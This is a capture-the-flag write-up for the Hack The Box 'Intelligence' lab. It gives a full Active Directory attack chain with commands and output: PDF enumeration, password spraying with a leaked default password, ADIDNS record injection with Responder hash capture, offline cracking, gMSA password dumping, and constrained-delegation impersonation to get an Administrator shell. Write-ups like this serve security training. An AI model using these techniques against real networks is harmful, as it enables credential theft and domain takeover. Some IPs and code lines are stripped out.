[HTB] Intelligence

The Intelligence machine has been created by Micah. This is a medium Windows Machine with a strong focus on Active Directory enumeration and exploitation. This box is really interesting, it shows some exploitation paths that are not always common like ADIDNS abuse or GMSA passwords.

If you didn’t solve this challenge and just look for answers, first, you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints about interesting attack paths when dealing with an Active Directory.


Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.


In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.

This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.

Scan with Nmap

Let’s start with a classic service scan with Nmap. Note the -sV switch which enables version detection and allows Nmap to check its internal database to try to determine the service protocol, application name and version number.

Note: Always allow a few minutes after the start of the HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.

$ nmap -Pn -sV 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-10 13:48 EDT
Nmap scan report for
Host is up (0.032s latency).
Not shown: 990 filtered tcp ports (no-response)
53/tcp  open  domain        Simple DNS Plus
80/tcp  open  http          Microsoft IIS httpd 10.0
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-11 00:49:08Z)
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
464/tcp open  kpasswd5?
593/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Remember: By default, Nmap only target the 1000 most common ports. You can find the full list here: https://github.com/nmap/nmap/blob/master/nmap-services. However, they are sorted by port numbers, not by open frequency.

As we can see, the machine seems to be a domain controller for intelligence.htb and we have a few interesting services including a Web server running on TCP/80.


By looking at the website located at the following URL, we found two (2) downloadable documents.


While the documents did not contain any interesting information, by looking at their links we can see a pattern:


Maybe we could try to enumerate the dates and see if we can find any other document hosted on the server.

Enumeration with Python

Here, we wrote a quick python script in order to find potential documents. If a document is found, it will be downloaded on our Kali machine.

import requests

url = ""

# Generate filenames
for m in range(1,13):
	month = str(m).zfill(2)
	for d in range(1,32):
		day = str(d).zfill(2)

		fname = "2020-%s-%s-upload.pdf" % (month, day)
		r = requests.get(url + fname)

		# Check if the file exists
		if r.status_code == 200:
			print("[+] Found: " + url + fname)

			with open(fname, 'wb') as fd:

As you can see, we found a large quantity of documents.

$ python3 find_files.py 
[+] Found:
[+] Found:
[+] Found:
[+] Found:
[+] Found:
[+] Found:
[+] Found:
[+] Found:
[+] Found:


After looking at the documents, we found two (2) interesting PDFs. The first one is 2020-06-04-upload.pdf.

New Account Guide

Welcome to Intelligence Corp!
Please login using your username and the default password of:

After logging in please change your password as soon as possible.

It seems we have a password (NewIntelligenceCorpUser9876) that seems to be used as default for new accounts. The second interesting file is 2020-12-30-upload.pdf.

Internal IT Update

There has recently been some outages on our web servers. Ted has gotten a
script in place to help notify us if this happens again.
Also, after discussion following our recent security audit we are in the process
of locking down our service accounts.

This document talks about some kind of script, we will probably get back to that later. Now, given we have a password, there should be some usernames hidden somewhere.


Using exiftool, a metadata reader, we were able to extract usernames from the PDFs metadata.

$ exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq   
   84 image files read

Here you can redirect the output to a file in order to produce a list of usernames.

Initial Access

We got a list of usernames and one password, let’s see what we can do with that.

Password Spraying

As stated by MITRE, adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password, or a small list of commonly used passwords, that may match the complexity policy of the domain.

Since we have a list of usernames and a potential password, we can use CrackMapExec, to see if one of the accounts is using the password we discovered earlier. Note that we use the --continue-on-success to make sure that crackmapexec will go through the entire list of usernames, even if a valid account is discovered.

$ crackmapexec smb -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success
SMB   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB   445    DC               [-] intelligence.htb\Anita.Roberts:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB   445    DC               [-] intelligence.htb\Brian.Baker:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB   445    DC               [-] intelligence.htb\Brian.Morris:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 


SMB   445    DC               [-] intelligence.htb\Thomas.Valenzuela:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB   445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876 
SMB   445    DC               [-] intelligence.htb\Travis.Evans:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB   445    DC               [-] intelligence.htb\Veronica.Patel:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB   445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 

We found a valid account (Tiffany.Molina:NewIntelligenceCorpUser9876). However, this account does not seem to have a remote shell access to the target machine. Let’s check if the user has access to potential shared folders.

Shared Folders

Again, with crackmapexec and the --shares switch, we can see if tiffany.molina has any permissions on potential remote shares.

$ crackmapexec smb -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares
SMB   445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB   445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876 
SMB   445    DC               [+] Enumerated shares
SMB   445    DC               Share           Permissions     Remark
SMB   445    DC               -----           -----------     ------
SMB   445    DC               ADMIN$                          Remote Admin
SMB   445    DC               C$                              Default share
SMB   445    DC               IPC$            READ            Remote IPC
SMB   445    DC               IT              READ            
SMB   445    DC               NETLOGON        READ            Logon server share 
SMB   445    DC               SYSVOL          READ            Logon server share 
SMB   445    DC               Users           READ        

Nice ! Using another tool, impacket-smbclient, we can read the content of Tiffany.Molina user folder and grab the first flag.

$ impacket-smbclient Tiffany.Molina:NewIntelligenceCorpUser9876@
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Type help for list of commands
# use Users
# cd Tiffany.Molina\Desktop
# ls
drw-rw-rw-          0  Sun Apr 18 20:51:46 2021 .
drw-rw-rw-          0  Sun Apr 18 20:51:46 2021 ..
-rw-rw-rw-         34  Fri Jun 10 20:45:48 2022 user.txt

After checking the other shares, we found an interesting script named downdetector.ps1 in the IT folder. It is probably the script that one of the PDF was talking about.

# use IT
# ls
drw-rw-rw-          0  Sun Apr 18 20:50:58 2021 .
drw-rw-rw-          0  Sun Apr 18 20:50:58 2021 ..
-rw-rw-rw-       1046  Sun Apr 18 20:50:58 2021 downdetector.ps1
# cat downdetector.ps1
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
} catch {}

The script seems top loop through DNS records and sends an authenticated request to any host having a name starting with web in order to check its status. Let’s see what we can do with that.

Privilege Escalation

According to the MITRE, Privilege Escalation consists of techniques that adversaries use to gain higher-level permission on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permission to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.


If found an interesting post about ADIDNS abuse. Basically, AD services need DNS to work properly. So, Active Directory Domain Services offer an integrated storage and replication service for DNS records called Active Directory Integrated DNS (ADIDNS).

Since ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, we can leverage this permission and create arbitrary DNS records that points to our own IP address.

There is a toolbox online called Krbrelayx that can help us to do that. Using dnstool.py we can create our own record.

$ python3 dnstool.py -u "intelligence\Tiffany.Molina" -p NewIntelligenceCorpUser9876 -a add -r web1 -d -t A
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Then, using responder, an LLMNR, NBT-NS and MDNS poisoner, we were able to capture a hash for the amanda account.

$ sudo responder -I tun0


[+] Listening for events...

[HTTP] NTLMv2 Client   : ::ffff:
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:4f18ec29602f5b50:D412F532F59E21498967A5A1DEC544C3:0101000000000000F8EE1A5F387DD801E2BBA8D36D879177000000000200080031004B004D00340001001E00570049004E002D0031003500500039003000560046004F003600460048000400140031004B004D0034002E004C004F00430041004C0003003400570049004E002D0031003500500039003000560046004F003600460048002E0031004B004D0034002E004C004F00430041004C000500140031004B004D0034002E004C004F00430041004C0008003000300000000000000000000000002000005B3DEC70843423B3A43537C3C99170AE0C4E334BB2D989E60634D882103F66460A001000000000000000000000000000000000000900340048005400540050002F0077006500620031002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000  

Password Cracking

Now just have to copy/paste the following hash in a file and try to crack it offline using the rockyou (or any other list) passwords list (if you are using Kali Linux, it should be present in the /usr/share/wordlists/ folder).


Here, we used John the Ripper to crack the password, but it can be done with other tools.

$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy         (Ted.Graves)     
1g 0:00:00:09 DONE (2022-06-10 15:13) 0.1095g/s 1184Kp/s 1184Kc/s 1184KC/s Mrz.deltasigma..Mr BOB
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Active Directory Recon

With a valid account, we can now use one of the BloodHound ingestors and gather more information about the Active Directory. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment.

Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Here, we used a Python based ingestor for BloodHound, BloodHound.py.

$ bloodhound-python -c All -u Ted.Graves -p Mr.Teddy -d intelligence.htb -ns --zip
INFO: Found AD domain: intelligence.htb
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
WARNING: Could not resolve: svc_int.intelligence.htb: The resolution lifetime expired after 3.2035555839538574 seconds: Server UDP port 53 answered The DNS operation timed out.; Server UDP port 53 answered The DNS operation timed out.
INFO: Done in 00M 07S
INFO: Compressing output into 20220610151445_bloodhound.zip

Now, you can import the generated file (20220204141002_bloodhound.zip) in BloodHound by running sudo neo4j console, then execute BloodHound in another terminal with the bloodhound command.


As you can see, we have a really interesting attack path.

Abuse ReadGMSAPassword

According to BloodHound, Ted.Graves is part of the itsupport group. This specific group has ReadGMSAPassword permission on the svc_int domain account.

Group Managed Service Accounts (GMSA) are a special type of Active Directory object, where the password for that object is mananaged by and automatically changed by Domain Controllers on a set interval. The intended use of a GMSA is to allow certain computer accounts to retrieve the password for the GMSA, then run local services as the GMSA. An attacker with control of an authorized principal may abuse that privilege to impersonate the GMSA.

Using a tool called gMSADumper, we can abuse the ReadGMSAPassword permission and read any gMSA password blobs.

$ python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport

We now have the NTLM hash of the svc_int domain account.

Abuse AllowedToDelegate

Here, svc_int has the constrained delegation privilege to dc.intelligence.htb. The constrained delegation primitive allows a principal to authenticate as any user to specific services, here it’s www/dc.inteligence.htb. That is, a node with this privilege can impersonate any domain principal (including Domain Admins) to the specific service on the target host.

To perform the attack, we can use impacket-getST, a tool that allows us to request a Service Ticket and save it as ccache.

Note: If the time difference between your machine and the attack machine is too great, you will get the following error: KRB_AP_ERR_SKEW(Clock skew too great). This can be fixed by running the following command sudo ntpdate <target_machine>.

$ impacket-getST -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :67065141d298d67a17ee8626476b20f9 -dc-ip
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Nice, we have a ticket, we can export it with export KRB5CCNAME=Administrator.ccache and use it with impacket-wmiexec. Note that you will need to add dc.intelligence.htb to your /etc/hosts file as the -k switch will use our credentials from ccache file (KRB5CCNAME) and it needs the FQDN.

$ impacket-wmiexec -k -no-pass dc.intelligence.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is E3EF-EBBD

 Directory of c:\users\administrator\desktop

04/18/2021  05:51 PM    <DIR>          .
04/18/2021  05:51 PM    <DIR>          ..
06/10/2022  08:54 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,975,379,968 bytes free

Great, we can now grab our second flag.

Awesome ! I hope you enjoyed it, I know I did :)